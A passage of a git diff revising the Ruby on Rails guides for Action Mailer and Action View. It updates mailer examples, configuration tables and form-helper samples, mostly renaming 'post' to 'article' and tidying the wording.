+By using the full URL, your links will now work in your emails.
+
+#### generating URLs with `url_for`
+
+`url_for` generate full URL by default in templates.
 
 If you did not configure the `:host` option globally make sure to pass it to
 `url_for`.
@@ -429,9 +484,6 @@ If you did not configure the `:host` option globally make sure to pass it to
             action: 'greeting') %>
 ```
 
-NOTE: When you explicitly pass the `:host` Rails will always generate absolute
-URLs, so there is no need to pass `only_path: false`.
-
 #### generating URLs with named routes
 
 Email clients have no web context and so paths have no base URL to form complete
@@ -463,7 +515,7 @@ while delivering emails, you can do this using `delivery_method_options` in the
 mailer action.
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   def welcome_email(user, company)
     @user = user
     @url  = user_url(@user)
@@ -485,7 +537,7 @@ option. In such cases don't forget to add the `:content_type` option. Rails
 will default to `text/plain` otherwise.
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   def welcome_email(user, email_body)
     mail(to: user.email,
          body: email_body,
@@ -515,7 +567,7 @@ mailer, and pass the email object to the mailer `receive` instance
 method. Here's an example:
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   def receive(email)
     page = Page.find_by(address: email.to.first)
     page.emails.create(
@@ -551,7 +603,7 @@ Action Mailer allows for you to specify a `before_action`, `after_action` and
   using instance variables set in your mailer action.
 
 ```ruby
-class UserMailer < ActionMailer::Base
+class UserMailer < ApplicationMailer
   after_action :set_delivery_options,
                :prevent_delivery_to_guests,
                :set_business_headers
@@ -569,25 +621,25 @@ class UserMailer < ActionMailer::Base
 
   private
 
-  def set_delivery_options
-    # You have access to the mail instance,
-    # @business and @user instance variables here
-    if @business && @business.has_smtp_settings?
-      mail.delivery_method.settings.merge!(@business.smtp_settings)
+    def set_delivery_options
+      # You have access to the mail instance,
+      # @business and @user instance variables here
+      if @business && @business.has_smtp_settings?
+        mail.delivery_method.settings.merge!(@business.smtp_settings)
+      end
     end
-  end
 
-  def prevent_delivery_to_guests
-    if @user && @user.guest?
-      mail.perform_deliveries = false
+    def prevent_delivery_to_guests
+      if @user && @user.guest?
+        mail.perform_deliveries = false
+      end
     end
-  end
 
-  def set_business_headers
-    if @business
-      headers["X-SMTPAPI-CATEGORY"] = @business.code
+    def set_business_headers
+      if @business
+        headers["X-SMTPAPI-CATEGORY"] = @business.code
+      end
     end
-  end
 end
 ```
 
@@ -608,16 +660,16 @@ files (environment.rb, production.rb, etc...)
 | Configuration | Description |
 |---------------|-------------|
 |`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.|
-|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default "localhost" setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
+|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain`, `:login`, `:cram_md5`.</li><li>`:enable_starttls_auto` - Set this to `false` if there is a problem with your server certificate that you cannot resolve.</li></ul>|
 |`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i -t`.</li></ul>|
 |`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.|
-|`delivery_method`|Defines a delivery method. Possible values are `:smtp` (default), `:sendmail`, `:file` and `:test`.|
+|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.|
 |`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing.|
 |`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.|
 |`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).|
 
 For a complete writeup of possible configurations see the
-[Action Mailer section](configuring.html#configuring-action-mailer) in
+[Configuring Action Mailer](configuring.html#configuring-action-mailer) in
 our Configuring Rails Applications guide.
 
 ### Example Action Mailer Configuration
@@ -639,8 +691,8 @@ config.action_mailer.default_options = {from: 'no-reply@example.com'}
 
 ### Action Mailer Configuration for Gmail
 
-As Action Mailer now uses the Mail gem, this becomes as simple as adding to your
-`config/environments/$RAILS_ENV.rb` file:
+As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this
+becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file:
 
 ```ruby
 config.action_mailer.delivery_method = :smtp
@@ -662,6 +714,7 @@ You can find detailed instructions on how to test your mailers in the
 
 Intercepting Emails
 -------------------
+
 There are situations where you need to edit an email before it's
 delivered. Fortunately Action Mailer provides hooks to intercept every
 email. You can register an interceptor to make modifications to mail messages
@@ -680,10 +733,12 @@ Mailer framework. You can do this in an initializer file
 `config/initializers/sandbox_email_interceptor.rb`
 
 ```ruby
-ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) if Rails.env.staging?
+if Rails.env.staging?
+  ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
+end
 ```
 
 NOTE: The example above uses a custom environment called "staging" for a
 production like server but for testing purposes. You can read
-[Creating Rails environments](./configuring.html#creating-rails-environments)
+[Creating Rails environments](configuring.html#creating-rails-environments)
 for more information about custom Rails environments.
diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md
index 5cda104138..665a2b71ff 100644
--- a/guides/source/action_view_overview.md
+++ b/guides/source/action_view_overview.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Action View Overview
 ====================
 
@@ -7,7 +9,6 @@ After reading this guide, you will know:
 * How best to use templates, partials, and layouts.
 * What helpers are provided by Action View and how to make your own.
 * How to use localized views.
-* How to use Action View outside of Rails.
 
 --------------------------------------------------------------------------------
 
@@ -28,34 +29,34 @@ For each controller there is an associated directory in the `app/views` director
 Let's take a look at what Rails does by default when creating a new resource using the scaffold generator:
 
 ```bash
-$ rails generate scaffold post
+$ bin/rails generate scaffold article
       [...]
       invoke  scaffold_controller
-      create    app/controllers/posts_controller.rb
+      create    app/controllers/articles_controller.rb
       invoke    erb
-      create      app/views/posts
-      create      app/views/posts/index.html.erb
-      create      app/views/posts/edit.html.erb
-      create      app/views/posts/show.html.erb
-      create      app/views/posts/new.html.erb
-      create      app/views/posts/_form.html.erb
+      create      app/views/articles
+      create      app/views/articles/index.html.erb
+      create      app/views/articles/edit.html.erb
+      create      app/views/articles/show.html.erb
+      create      app/views/articles/new.html.erb
+      create      app/views/articles/_form.html.erb
       [...]
 ```
 
 There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above.
-For example, the index controller action of the `posts_controller.rb` will use the `index.html.erb` view file in the `app/views/posts` directory.
-The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Later on this guide you can find a more detailed documentation of each one of these three components.
+For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory.
+The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components.
 
 
 Templates, Partials and Layouts
 -------------------------------
 
-As mentioned before, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
-Below is a brief overview of each one of them.
+As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`.
+Below is a brief overview of each of them.
 
 ### Templates
 
-Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (included in Ruby) and HTML. If the template file has a `.builder` extension then a fresh instance of `Builder::XmlMarkup` library is used.
+Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used.
 
 Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension.
 
@@ -68,11 +69,11 @@ Consider the following loop for names:
 ```html+erb
 <h1>Names of all the people</h1>
 <% @people.each do |person| %>
-  Name: <%= person.name %><br/>
+  Name: <%= person.name %><br>
 <% end %>
 ```
 
-The loop is set up in regular embedding tags (`<% %>`) and the name is written using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion, for regular output functions like `print` or `puts` won't work with ERB templates. So this would be wrong:
+The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong:
 
 ```html+erb
 <%# WRONG %>
@@ -231,7 +232,7 @@ The `object` and `as` options can also be used together:
 
 #### Rendering Collections
 
-It is very common that a template needs to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
+It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array.
 
 So this example for rendering all the products:
 
@@ -247,7 +248,7 @@ can be rewritten in a single line:
 <%= render partial: "product", collection: @products %>
 ```
 
-When a partial is called like this (eg. with a collection), the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the instance that is being rendered.
+When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered.
 
 You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result:
 
@@ -255,44 +256,44 @@ You can use a shorthand syntax for rendering collections. Assuming `@products` i
 <%= render @products %>
 ```
 
-Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection.
+Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection.
 
 #### Spacer Templates
 
 You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option:
 
 ```erb
-<%= render @products, spacer_template: "product_ruler" %>
+<%= render partial: @products, spacer_template: "product_ruler" %>
 ```
 
 Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials.
 
 ### Layouts
 
-Layouts can be used to render a common view template around the results of Rails controller actions. Typically, every Rails has a couple of overall layouts that most pages are rendered within. For example, a site might have a layout for a logged in user, and a layout for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us." You would expect each layout to have a different look and feel. You can read more details about Layouts in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
+Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide.
 
 Partial Layouts
 ---------------
 
-Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally for the entire action, but they work in a similar fashion.
+Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion.
 
-Let's say we're displaying a post on a page, that should be wrapped in a `div` for display purposes. First, we'll create a new `Post`:
+Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`:
 
 ```ruby
-Post.create(body: 'Partial Layouts are cool!')
+Article.create(body: 'Partial Layouts are cool!')
 ```
 
-In the `show` template, we'll render the `_post` partial wrapped in the `box` layout:
+In the `show` template, we'll render the `_article` partial wrapped in the `box` layout:
 
-**posts/show.html.erb**
+**articles/show.html.erb**
 
 ```erb
-<%= render partial: 'post', layout: 'box', locals: {post: @post} %>
+<%= render partial: 'article', layout: 'box', locals: {article: @article} %>
 ```
 
-The `box` layout simply wraps the `_post` partial in a `div`:
+The `box` layout simply wraps the `_article` partial in a `div`:
 
-**posts/_box.html.erb**
+**articles/_box.html.erb**
 
 ```html+erb
 <div class='box'>
@@ -300,13 +301,13 @@ The `box` layout simply wraps the `_post` partial in a `div`:
 </div>
 ```
 
-The `_post` partial wraps the post's `body` in a `div` with the `id` of the post using the `div_for` helper:
+The `_article` partial wraps the article's `body` in a `div` with the `id` of the article using the `div_for` helper:
 
-**posts/_post.html.erb**
+**articles/_article.html.erb**
 
 ```html+erb
-<%= div_for(post) do %>
-  <p><%= post.body %></p>
+<%= div_for(article) do %>
+  <p><%= article.body %></p>
 <% end %>
 ```
 
@@ -314,22 +315,22 @@ this would output the following:
 
 ```html
 <div class='box'>
-  <div id='post_1'>
+  <div id='article_1'>
     <p>Partial Layouts are cool!</p>
   </div>
 </div>
 ```
 
-Note that the partial layout has access to the local `post` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
+Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix.
 
-You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_post` partial, we could do this instead:
+You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead:
 
-**posts/show.html.erb**
+**articles/show.html.erb**
 
 ```html+erb
-<% render(layout: 'box', locals: {post: @post}) do %>
-  <%= div_for(post) do %>
-    <p><%= post.body %></p>
+<% render(layout: 'box', locals: {article: @article}) do %>
+  <%= div_for(article) do %>
+    <p><%= article.body %></p>
   <% end %>
 <% end %>
 ```
@@ -356,18 +357,18 @@ This module provides methods for generating container tags, such as `div`, for y
 
 Renders a container tag that relates to your Active Record Object.
 
-For example, given `@post` is the object of `Post` class, you can do:
+For example, given `@article` is the object of `Article` class, you can do:
 
 ```html+erb
-<%= content_tag_for(:tr, @post) do %>
-  <td><%= @post.title %></td>
+<%= content_tag_for(:tr, @article) do %>
+  <td><%= @article.title %></td>
 <% end %>
 ```
 
 This will generate this HTML output:
 
 ```html
-<tr id="post_1234" class="post">
+<tr id="article_1234" class="article">
   <td>Hello World!</td>
 </tr>
 ```
@@ -375,34 +376,34 @@ This will generate this HTML output:
 You can also supply HTML attributes as an additional option hash. For example:
 
 ```html+erb
-<%= content_tag_for(:tr, @post, class: "frontpage") do %>
-  <td><%= @post.title %></td>
+<%= content_tag_for(:tr, @article, class: "frontpage") do %>
+  <td><%= @article.title %></td>
 <% end %>
 ```
 
 Will generate this HTML output:
 
 ```html
-<tr id="post_1234" class="post frontpage">
+<tr id="article_1234" class="article frontpage">
   <td>Hello World!</td>
 </tr>
 ```
 
-You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@posts` is an array of two `Post` objects:
+You can pass a collection of Active Record objects. This method will loop through your objects and create a container for each of them. For example, given `@articles` is an array of two `Article` objects:
 
 ```html+erb
-<%= content_tag_for(:tr, @posts) do |post| %>
-  <td><%= post.title %></td>
+<%= content_tag_for(:tr, @articles) do |article| %>
+  <td><%= article.title %></td>
 <% end %>
 ```
 
 Will generate this HTML output:
 
 ```html
-<tr id="post_1234" class="post">
+<tr id="article_1234" class="article">
   <td>Hello World!</td>
 </tr>
-<tr id="post_1235" class="post">
+<tr id="article_1235" class="article">
   <td>Ruby on Rails Rocks!</td>
 </tr>
 ```
@@ -412,15 +413,15 @@ Will generate this HTML output:
 This is actually a convenient method which calls `content_tag_for` internally with `:div` as the tag name. You can pass either an Active Record object or a collection of objects. For example:
 
 ```html+erb
-<%= div_for(@post, class: "frontpage") do %>
-  <td><%= @post.title %></td>
+<%= div_for(@article, class: "frontpage") do %>
+  <td><%= @article.title %></td>
 <% end %>
 ```
 
 Will generate this HTML output:
 
 ```html
-<div id="post_1234" class="post frontpage">
+<div id="article_1234" class="article frontpage">
   <td>Hello World!</td>
 </div>
 ```
@@ -464,7 +465,7 @@ stylesheet_link_tag :monkey # =>
 
 #### auto_discovery_link_tag
 
-Returns a link tag that browsers and news readers can use to auto-detect an RSS or Atom feed.
+Returns a link tag that browsers and feed readers can use to auto-detect an RSS or Atom feed.
 
 ```ruby
 auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "RSS Feed"}) # =>
@@ -495,7 +496,7 @@ image_url("edit.png") # => http://www.example.com/assets/edit.png
 
 #### image_tag
 
-Returns an html image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
+Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory.
 
 ```ruby
 image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
@@ -503,7 +504,7 @@ image_tag("icon.png") # => <img src="/assets/icon.png" alt="Icon" />
 
 #### javascript_include_tag
 
-Returns an html script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
+Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root.
 
 ```ruby
 javascript_include_tag "common" # => <script src="/assets/common.js"></script>
@@ -590,14 +591,14 @@ This helper makes building an Atom feed easy. Here's a full usage example:
 **config/routes.rb**
 
 ```ruby
-resources :posts
+resources :articles
 ```
 
-**app/controllers/posts_controller.rb**
+**app/controllers/articles_controller.rb**
 
 ```ruby
 def index
-  @posts = Post.all
+  @articles = Article.all
 
   respond_to do |format|
     format.html
@@ -606,20 +607,20 @@ def index
 end
 ```
 
-**app/views/posts/index.atom.builder**
+**app/views/articles/index.atom.builder**
 
 ```ruby
 atom_feed do |feed|
-  feed.title("Posts Index")
-  feed.updated((@posts.first.created_at))
+  feed.title("Articles Index")
+  feed.updated((@articles.first.created_at))
 
-  @posts.each do |post|
-    feed.entry(post) do |entry|
-      entry.title(post.title)
-      entry.content(post.body, type: 'html')
+  @articles.each do |article|
+    feed.entry(article) do |entry|
+      entry.title(article.title)
+      entry.content(article.body, type: 'html')
 
       entry.author do |author|
-        author.name(post.author_name)
+        author.name(article.author_name)
       end
     end
   end
@@ -697,7 +698,7 @@ For example, let's say we have a standard application layout, but also a special
 </html>
 ```
 
-**app/views/posts/special.html.erb**
+**app/views/articles/special.html.erb**
 
 ```html+erb
 <p>This is a special page.</p>
@@ -714,7 +715,7 @@ For example, let's say we have a standard application layout, but also a special
 Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute.
 
 ```ruby
-date_select("post", "published_on")
+date_select("article", "published_on")
 ```
 
 #### datetime_select
@@ -722,7 +723,7 @@ date_select("post", "published_on")
 Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute.
 
 ```ruby
-datetime_select("post", "published_on")
+datetime_select("article", "published_on")
 ```
 
 #### distance_of_time_in_words
@@ -736,7 +737,7 @@ distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true
 
 #### select_date
 
-Returns a set of html select-tags (one for year, month, and day) pre-selected with the `date` provided.
+Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided.
 
 ```ruby
 # Generates a date select that defaults to the date provided (six days after today)
@@ -748,7 +749,7 @@ select_date()
 
 #### select_datetime
 
-Returns a set of html select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
+Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided.
 
 ```ruby
 # Generates a datetime select that defaults to the datetime provided (four days after today)
@@ -808,7 +809,7 @@ select_second(Time.now + 16.minutes)
 
 #### select_time
 
-Returns a set of html select-tags (one for hour and minute).
+Returns a set of HTML select-tags (one for hour and minute).
 
 ```ruby
 # Generates a time select that defaults to the time provided
@@ -904,10 +905,10 @@ The params hash has a nested person value, which can therefore be accessed with
 Returns a checkbox tag tailored for accessing a specified attribute.
 
 ```ruby
-# Let's say that @post.validated? is 1:
-check_box("post", "validated")
-# => <input type="checkbox" id="post_validated" name="post[validated]" value="1" />
-#    <input name="post[validated]" type="hidden" value="0" />
+# Let's say that @article.validated? is 1:
+check_box("article", "validated")
+# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" />
+#    <input name="article[validated]" type="hidden" value="0" />
 ```
 
 #### fields_for
@@ -939,7 +940,7 @@ file_field(:user, :avatar)
 Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields.
 
 ```html+erb
-<%= form_for @post do |f| %>
+<%= form_for @article do |f| %>
   <%= f.label :title, 'Title' %>:
   <%= f.text_field :title %><br>
   <%= f.label :body, 'Body' %>:
@@ -961,8 +962,8 @@ hidden_field(:user, :token)
 Returns a label tag tailored for labelling an input field for a specified attribute.
 
 ```ruby
-label(:post, :title)
-# => <label for="post_title">Title</label>
+label(:article, :title)
+# => <label for="article_title">Title</label>
 ```
 
 #### password_field
@@ -979,11 +980,11 @@ password_field(:login, :pass)
 Returns a radio button tag for accessing a specified attribute.
 
 ```ruby
-# Let's say that @post.category returns "rails":
-radio_button("post", "category", "rails")
-radio_button("post", "category", "java")
-# => <input type="radio" id="post_category_rails" name="post[category]" value="rails" checked="checked" />
-#    <input type="radio" id="post_category_java" name="post[category]" value="java" />
+# Let's say that @article.category returns "rails":
+radio_button("article", "category", "rails")
+radio_button("article", "category", "java")
+# => <input type="radio" id="article_category_rails" name="article[category]" value="rails" checked="checked" />
+#    <input type="radio" id="article_category_java" name="article[category]" value="java" />
 ```
 
 #### text_area
@@ -1002,8 +1003,8 @@ text_area(:comment, :text, size: "20x30")
 Returns an input tag of the "text" type tailored for accessing a specified attribute.
 
 ```ruby
-text_field(:post, :title)
-# => <input type="text" id="post_title" name="post[title]" value="#{@post.title}" />
+text_field(:article, :title)
+# => <input type="text" id="article_title" name="article[title]" value="#{@article.title}" />
 ```
 
 #### email_field
@@ -1035,28 +1036,28 @@ Returns `select` and `option` tags for the collection of existing return values
 Example object structure for use with this method:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   belongs_to :author
 end
 
 class Author < ActiveRecord::Base
-  has_many :posts
+  has_many :articles
   def name_with_initial
     "#{first_name.first}. #{last_name}"
   end
 end
 ```
 
-Sample usage (selecting the associated Author for an instance of Post, `@post`):
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
 
 ```ruby
-collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
+collection_select(:article, :author_id, Author.all, :id, :name_with_initial, {prompt: true})
 ```
 
-If `@post.author_id` is 1, this would return:
+If `@article.author_id` is 1, this would return:
 
 ```html
-<select name="post[author_id]">
+<select name="article[author_id]">
   <option value="">Please select</option>
   <option value="1" selected="selected">D. Heinemeier Hansson</option>
   <option value="2">D. Thomas</option>
@@ -1071,33 +1072,33 @@ Returns `radio_button` tags for the collection of existing return values of `met
 Example object structure for use with this method:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   belongs_to :author
 end
 
 class Author < ActiveRecord::Base
-  has_many :posts
+  has_many :articles
   def name_with_initial
     "#{first_name.first}. #{last_name}"
   end
 end
 ```
 
-Sample usage (selecting the associated Author for an instance of Post, `@post`):
+Sample usage (selecting the associated Author for an instance of Article, `@article`):
 
 ```ruby
-collection_radio_buttons(:post, :author_id, Author.all, :id, :name_with_initial)
+collection_radio_buttons(:article, :author_id, Author.all, :id, :name_with_initial)
 ```
 
-If `@post.author_id` is 1, this would return:
+If `@article.author_id` is 1, this would return:
 
 ```html
-<input id="post_author_id_1" name="post[author_id]" type="radio" value="1" checked="checked" />
-<label for="post_author_id_1">D. Heinemeier Hansson</label>
-<input id="post_author_id_2" name="post[author_id]" type="radio" value="2" />
-<label for="post_author_id_2">D. Thomas</label>
-<input id="post_author_id_3" name="post[author_id]" type="radio" value="3" />
-<label for="post_author_id_3">M. Clark</label>
+<input id="article_author_id_1" name="article[author_id]" type="radio" value="1" checked="checked" />
+<label for="article_author_id_1">D. Heinemeier Hansson</label>
+<input id="article_author_id_2" name="article[author_id]" type="radio" value="2" />
+<label for="article_author_id_2">D. Thomas</label>
+<input id="article_author_id_3" name="article[author_id]" type="radio" value="3" />
+<label for="article_author_id_3">M. Clark</label>
 ```
 
 #### collection_check_boxes
@@ -1107,34 +1108,34 @@ Returns `check_box` tags for the collection of existing return values of `method
 Example object structure for use with this method:
 
 ```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
   has_and_belongs_to_many :authors
 end
 
 class Author < ActiveRecord::Base
-  has_and_belongs_to_many :posts
+  has_and_belongs_to_many :articles
   def name_with_initial
     "#{first_name.first}. #{last_name}"
   end
 end
 ```
 
-Sample usage (selecting the associated Authors for an instance of Post, `@post`):
+Sample usage (selecting the associated Authors for an instance of Article, `@article`):
 
 ```ruby
-collection_check_boxes(:post, :author_ids, Author.all, :id, :name_with_initial)
+collection_check_boxes(:article, :author_ids, Author.all, :id, :name_with_initial)
 ```
 
-If `@post.author_ids` is [1], this would return:
+If `@article.author_ids` is [1], this would return:
 
 ```html
-<input id="post_author_ids_1" name="post[author_ids][]" type="checkbox" value="1" checked="checked" />
-<label for="post_author_ids_1">D. Heinemeier Hansson</label>
-<input id="post_author_ids_2" name="post[author_ids][]" type="checkbox" value="2" />
-<label for="post_author_ids_2">D. Thomas</label>
-<input id="post_author_ids_3" name="post[author_ids][]" type="checkbox" value="3" />
-<label for="post_author_ids_3">M. Clark</label>
-<input name="post[author_ids][]" type="hidden" value="" />
+<input id="article_author_ids_1" name="article[author_ids][]" type="checkbox" value="1" checked="checked" />
+<label for="article_author_ids_1">D. Heinemeier Hansson</label>
+<input id="article_author_ids_2" name="article[author_ids][]" type="checkbox" value="2" />
+<label for="article_author_ids_2">D. Thomas</label>
+<input id="article_author_ids_3" name="article[author_ids][]" type="checkbox" value="3" />
+<label for="article_author_ids_3">M. Clark</label>
+<input name="article[author_ids][]" type="hidden" value="" />
 ```
 
 #### country_options_for_select
@@ -1143,7 +1144,7 @@ Returns a string of option tags for pretty much any country in the world.
 
 #### country_select
 
-Return select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
+Returns select and option tags for the given object and method, using country_options_for_select to generate the list of option tags.
 
 #### option_groups_from_collection_for_select
 
@@ -1222,13 +1223,13 @@ Create a select tag and a series of contained option tags for the provided objec
 Example:
 
 ```ruby
-select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
+select("article", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {include_blank: true})
 ```
 
-If `@post.person_id` is 1, this would become:
+If `@article.person_id` is 1, this would become:
 
 ```html
-<select name="post[person_id]">
+<select name="article[person_id]">
   <option value=""></option>
   <option value="1" selected="selected">David</option>
   <option value="2">Sam</option>
@@ -1242,7 +1243,7 @@ Returns a string of option tags for pretty much any time zone in the world.
 
 #### time_zone_select
 
-Return select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
+Returns select and option tags for the given object and method, using `time_zone_options_for_select` to generate the list of option tags.
 
 ```ruby
 time_zone_select( "user", "time_zone")
@@ -1258,7 +1259,7 @@ date_field("user", "dob")
 
 ### FormTagHelper
 
-Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
+Provides a number of methods for creating form tags that don't rely on an Active Record object assigned to the template like FormHelper does. Instead, you provide the names and values manually.
 
 #### check_box_tag
 
@@ -1285,7 +1286,7 @@ Creates a field set for grouping HTML form elements.
 Creates a file upload field.
 
 ```html+erb
-<%= form_tag {action: "post"}, {multipart: true} do %>
+<%= form_tag({action:"post"}, multipart: true) do %>
   <label for="file">File to Upload</label> <%= file_field_tag "file" %>
   <%= submit_tag %>
 <% end %>
@@ -1303,10 +1304,10 @@ file_field_tag 'attachment'
 Starts a form tag that points the action to an url configured with `url_for_options` just like `ActionController::Base#url_for`.
 
 ```html+erb
-<%= form_tag '/posts' do %>
+<%= form_tag '/articles' do %>
   <div><%= submit_tag 'Save' %></div>
 <% end %>
-# => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
+# => <form action="/articles" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
 ```
 
 #### hidden_field_tag
@@ -1368,8 +1369,8 @@ select_tag "people", "<option>David</option>"
 Creates a submit button with the text provided as the caption.
 
 ```ruby
-submit_tag "Publish this post"
-# => <input name="commit" type="submit" value="Publish this post" />
